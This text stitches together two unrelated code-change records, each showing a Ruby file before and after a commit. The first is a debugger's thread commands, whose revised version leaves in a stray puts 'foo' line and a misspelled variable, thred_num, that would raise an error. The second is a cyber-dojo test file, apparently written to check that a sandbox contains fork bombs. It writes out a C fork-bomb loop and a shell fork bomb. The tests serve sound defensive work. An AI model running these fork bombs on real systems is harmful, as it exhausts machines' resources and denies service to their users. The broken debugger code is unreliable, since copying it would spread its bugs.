module Debugger module ThreadFunctions # :nodoc: def display_context(c) c_flag = c.thread == Thread.current ? '+' : ' ' c_flag = '$' if c.suspended? d_flag = c.ignored? ? '!' : ' ' print "%s%s", c_flag, d_flag print "%d ", c.thnum print "%s\t", c.thread.inspect if c.stack_size > 0 print "%s:%d", c.frame_file(0), c.frame_line(0) end print "\n" end end class ThreadListCommand < Command # :nodoc: self.control = true include ThreadFunctions def regexp /^\s*th(?:read)?\s+l(?:ist)?\s*$/ end def execute threads = Debugger.contexts.sort_by{|c| c.thnum}.each do |c| display_context(c) end end class << self def help_command 'thread' end def help(cmd) %{ th[read] l[ist]\t\t\tlist all threads } end end end class ThreadSwitchCommand < Command # :nodoc: self.control = true self.need_context = true include ParseFunctions include ThreadFunctions def regexp /^\s*th(?:read)?\s+(?:sw(?:itch)?\s+)?(.*)$/ end def execute num = get_int(@match[1], "Thread", 1, nil, 1) return unless num c = get_context(num) case when c == nil print "No such thread\n" when c == @state.context print "It's the current thread.\n" when c.ignored? print "Can't switch to the debugger thread.\n" else display_context(c) c.stop_next = 1 c.thread.run @state.proceed end end class << self def help_command 'thread' end def help(cmd) %{ th[read] [sw[itch]] <nnn>\tswitch thread context to nnn } end end end class ThreadStopCommand < Command # :nodoc: self.control = true self.need_context = true include ThreadFunctions def regexp /^\s*th(?:read)?\s+stop\s+(\d+)\s*$/ end def execute c = get_context(@match[1].to_i) case when c == @state.context print "It's the current thread.\n" when c.ignored? print "Can't stop the debugger thread.\n" else c.suspend display_context(c) end end class << self def help_command 'thread' end def help(cmd) %{ th[read] stop <nnn>\t\tstop thread nnn } end end end class ThreadCurrentCommand < Command # :nodoc: self.need_context = true include ThreadFunctions def regexp /^\s*th(?:read)?\s+c(?:ur(?:rent)?)?\s*$/ end def execute display_context(@state.context) end class << self def help_command 'thread' end def help(cmd) %{ th[read] c[ur[rent]]\t\tshow current thread } end end end class ThreadResumeCommand < Command # :nodoc: self.control = true self.need_context = true include ThreadFunctions def regexp /^\s*th(?:read)?\s+resume\s+(\d+)\s*$/ end def execute c = get_context(@match[1].to_i) case when c == @state.context print "It's the current thread.\n" when c.ignored? print "Can't resume the debugger thread.\n" when !c.thread.stop? print "Already running." else c.resume display_context(c) end end class << self def help_command 'thread' end def help(cmd) %{ th[read] resume <nnn>\t\tresume thread nnn } end end end end Go over regexps to make errors make more sense. Use getint. Common code needs refactoring. module Debugger module ThreadFunctions # :nodoc: def display_context(c) c_flag = c.thread == Thread.current ? '+' : ' ' c_flag = '$' if c.suspended? d_flag = c.ignored? ? '!' : ' ' print "%s%s", c_flag, d_flag print "%d ", c.thnum print "%s\t", c.thread.inspect if c.stack_size > 0 print "%s:%d", c.frame_file(0), c.frame_line(0) end print "\n" end end class ThreadListCommand < Command # :nodoc: puts "foo" self.control = true include ThreadFunctions def regexp /^\s*th(?:read)?\s+l(?:ist)?\s*$/ end def execute threads = Debugger.contexts.sort_by{|c| c.thnum}.each do |c| display_context(c) end end class << self def help_command 'thread' end def help(cmd) %{ th[read] l[ist]\t\t\tlist all threads } end end end class ThreadStopCommand < Command # :nodoc: self.control = true self.need_context = true include ThreadFunctions include ParseFunctions def regexp /^\s*th(?:read)?\s+stop\s*(\S*)\s*$/ end def execute if '' == @match[1] print "'thread stop' needs a thread number\n" return end thread_num = get_int(@match[1], "Thread stop", 1) return unless thread_num c = get_context(thred_num) case when c == @state.context print "It's the current thread.\n" when c.ignored? print "Can't stop the debugger thread.\n" else c.suspend display_context(c) end end class << self def help_command 'thread' end def help(cmd) %{ th[read] stop <nnn>\t\tstop thread nnn } end end end class ThreadCurrentCommand < Command # :nodoc: self.need_context = true include ThreadFunctions def regexp /^\s*th(?:read)?\s+c(?:ur(?:rent)?)?\s*$/ end def execute display_context(@state.context) end class << self def help_command 'thread' end def help(cmd) %{ th[read] c[ur[rent]]\t\tshow current thread } end end end class ThreadResumeCommand < Command # :nodoc: self.control = true self.need_context = true include ThreadFunctions include ParseFunctions def regexp /^\s*th(?:read)?\s+resume\s+(\S*)\s*$/ end def execute if '' == @match[1] print "'Thread resume' needs a thread number\n" return end thread_num = get_int(@match[1], "Thread resume", 1) return unless thread_num c = get_context(thread_num) case when c == @state.context print "It's the current thread.\n" when c.ignored? print "Can't resume the debugger thread.\n" when !c.thread.stop? print "Already running." else c.resume display_context(c) end end class << self def help_command 'thread' end def help(cmd) %{ th[read] resume <nnn>\t\tresume thread nnn } end end end # Thread switch Must come after "Thread resume" because "switch" is # optional class ThreadSwitchCommand < Command # :nodoc: self.control = true self.need_context = true include ParseFunctions include ThreadFunctions def regexp /^\s*th(?:read)?\s+(?:sw(?:itch)?\s*)?(\S*)\s*$/ end def execute if '' == @match[1] print "'thread switch' needs a thread number\n" return end num = get_int(@match[1], "Thread switch", 1, nil, 1) return unless num c = get_context(num) case when c == nil print "No such thread\n" when c == @state.context print "It's the current thread.\n" when c.ignored? print "Can't switch to the debugger thread.\n" else display_context(c) c.stop_next = 1 c.thread.run @state.proceed end end class << self def help_command 'thread' end def help(cmd) %{ th[read] [sw[itch]] <nnn>\tswitch thread context to nnn } end end end end
require_relative 'test_base' require_relative 'os_helper' class ForkBombTest < TestBase include OsHelper def self.hex_prefix '35758' end # - - - - - - - - - - - - - - - - - - - - - - - - - - test 'CD5', %w( [Alpine] fork-bomb in C fails to go off ) do gcc_assert_files['hiker.c'] = [ '#include "hiker.h"', '#include <stdio.h>', '#include <unistd.h>', '', 'int answer(void)', '{', ' for(;;)', ' {', ' int pid = fork();', ' fprintf(stdout, "fork() => %d\n", pid);', ' fflush(stdout);', ' if (pid == -1)', ' break;', ' }', ' return 6 * 7;', '}' ].join("\n") sss_run({ visible_files:gcc_assert_files }) assert_status success assert_stderr '' lines = stdout.split("\n") assert lines.count{ |line| line == 'All tests passed' } > 42 assert lines.count{ |line| line == 'fork() => 0' } > 42 assert lines.count{ |line| line == 'fork() => -1' } > 42 end # - - - - - - - - - - - - - - - - - - - - - - - - - - test 'CD6', %w( [Ubuntu] fork-bomb in C++ fails to go off ) do clangpp_assert_files['hiker.cpp'] = [ '#include "hiker.hpp"', '#include <stdio.h>', '#include <unistd.h>', '', 'int answer()', '{', ' for(;;)', ' {', ' int pid = fork();', ' fprintf(stdout, "fork() => %d\n", pid);', ' fflush(stdout);', ' if (pid == -1)', ' break;', ' }', ' return 6 * 7;', '}' ].join("\n") sss_run({ visible_files:clangpp_assert_files }) assert_status 2 lines = stdout.split("\n") assert lines.count{ |line| line == 'fork() => 0' } > 42 assert lines.count{ |line| line == 'fork() => -1' } > 42 end # - - - - - - - - - - - - - - - - - - - - - - - - - - # - - - - - - - - - - - - - - - - - - - - - - - - - - test '4DE', %w( [Alpine] fork-bomb in shell fails to go off ) do # A shell fork-bomb fails in a non-deterministic way. # Sometimes, it throws an ArgumentError exception. # The nocov markers keep coverage at 100% @log = LoggerSpy.new(nil) # :nocov: begin sss_run_shell_fork_bomb assert_status success assert_stdout '' assert_stderr_include "./cyber-dojo.sh: line 1: can't fork" rescue ArgumentError rag_filename = '/usr/local/bin/red_amber_green.rb' cmd = "'cat #{rag_filename}'" assert /COMMAND:docker .* sh -c #{cmd}/.match @log.spied[1] assert_equal 'STATUS:2', @log.spied[2] assert_equal 'STDOUT:', @log.spied[3] assert_equal "STDERR:sh: can't fork\n", @log.spied[4] end # :nocov: end # - - - - - - - - - - - - - - - - - - - - - - - - - - test '4DF', %w( [Ubuntu] fork-bomb in shell fails to go off ) do # A shell fork-bomb fails in a non-deterministic way. # Sometimes, it throws an ArgumentError exception. # The nocov markers keep coverage at 100% @log = LoggerSpy.new(nil) # :nocov: begin sss_run_shell_fork_bomb assert_status success assert_stdout '' assert_stderr_include "./cyber-dojo.sh: Cannot fork" rescue ArgumentError rag_filename = '/usr/local/bin/red_amber_green.rb' cmd = "'cat #{rag_filename}'" assert /COMMAND:docker .* sh -c #{cmd}/.match @log.spied[1] assert_equal 'STATUS:2', @log.spied[2] assert_equal 'STDOUT:', @log.spied[3] assert_equal "STDERR:sh: 1: Cannot fork\n", @log.spied[4] end # :nocov: end # - - - - - - - - - - - - - - - - - - - - - - - - - - def sss_run_shell_fork_bomb cyber_dojo_sh = 'bomb() { bomb | bomb & }; bomb' sss_run({ visible_files:{'cyber-dojo.sh' => cyber_dojo_sh }}) end end refactoring; remove test duplication require_relative 'test_base' require_relative 'os_helper' class ForkBombTest < TestBase include OsHelper def self.hex_prefix '35758' end # - - - - - - - - - - - - - - - - - - - - - - - - - - # fork-bombs from the source # - - - - - - - - - - - - - - - - - - - - - - - - - - test 'CD5', %w( [Alpine] fork-bomb in C fails to go off ) do gcc_assert_files['hiker.c'] = '#include "hiker.h"' + "\n" + fork_bomb_definition sss_run({ visible_files:gcc_assert_files }) assert_status success assert_stderr '' lines = stdout.split("\n") assert lines.count{ |line| line == 'All tests passed' } > 42 assert lines.count{ |line| line == 'fork() => 0' } > 42 assert lines.count{ |line| line == 'fork() => -1' } > 42 end # - - - - - - - - - - - - - - - - - - - - - - - - - - test 'CD6', %w( [Ubuntu] fork-bomb in C++ fails to go off ) do clangpp_assert_files['hiker.cpp'] = '#include "hiker.hpp"' + "\n" + fork_bomb_definition sss_run({ visible_files:clangpp_assert_files }) assert_status 2 lines = stdout.split("\n") assert lines.count{ |line| line == 'fork() => 0' } > 42 assert lines.count{ |line| line == 'fork() => -1' } > 42 end # - - - - - - - - - - - - - - - - - - - - - - - - - - def fork_bomb_definition [ '#include <stdio.h>', '#include <unistd.h>', '', 'int answer(void)', '{', ' for(;;)', ' {', ' int pid = fork();', ' fprintf(stdout, "fork() => %d\n", pid);', ' fflush(stdout);', ' if (pid == -1)', ' break;', ' }', ' return 6 * 7;', '}' ].join("\n") end # - - - - - - - - - - - - - - - - - - - - - - - - - - # fork-bombs from the shell # - - - - - - - - - - - - - - - - - - - - - - - - - - test '4DE', %w( [Alpine] fork-bomb in shell fails to go off ) do # A shell fork-bomb fails in a non-deterministic way. # Sometimes, it throws an ArgumentError exception. # The nocov markers keep coverage at 100% @log = LoggerSpy.new(nil) # :nocov: begin sss_run_shell_fork_bomb assert_status success assert_stdout '' assert_stderr_include "./cyber-dojo.sh: line 1: can't fork" rescue ArgumentError rag_filename = '/usr/local/bin/red_amber_green.rb' cmd = "'cat #{rag_filename}'" assert /COMMAND:docker .* sh -c #{cmd}/.match @log.spied[1] assert_equal 'STATUS:2', @log.spied[2] assert_equal 'STDOUT:', @log.spied[3] assert_equal "STDERR:sh: can't fork\n", @log.spied[4] end # :nocov: end # - - - - - - - - - - - - - - - - - - - - - - - - - - test '4DF', %w( [Ubuntu] fork-bomb in shell fails to go off ) do # A shell fork-bomb fails in a non-deterministic way. # Sometimes, it throws an ArgumentError exception. # The nocov markers keep coverage at 100% @log = LoggerSpy.new(nil) # :nocov: begin sss_run_shell_fork_bomb assert_status success assert_stdout '' assert_stderr_include "./cyber-dojo.sh: Cannot fork" rescue ArgumentError rag_filename = '/usr/local/bin/red_amber_green.rb' cmd = "'cat #{rag_filename}'" assert /COMMAND:docker .* sh -c #{cmd}/.match @log.spied[1] assert_equal 'STATUS:2', @log.spied[2] assert_equal 'STDOUT:', @log.spied[3] assert_equal "STDERR:sh: 1: Cannot fork\n", @log.spied[4] end # :nocov: end # - - - - - - - - - - - - - - - - - - - - - - - - - - def sss_run_shell_fork_bomb cyber_dojo_sh = 'bomb() { bomb | bomb & }; bomb' sss_run({ visible_files:{'cyber-dojo.sh' => cyber_dojo_sh }}) end end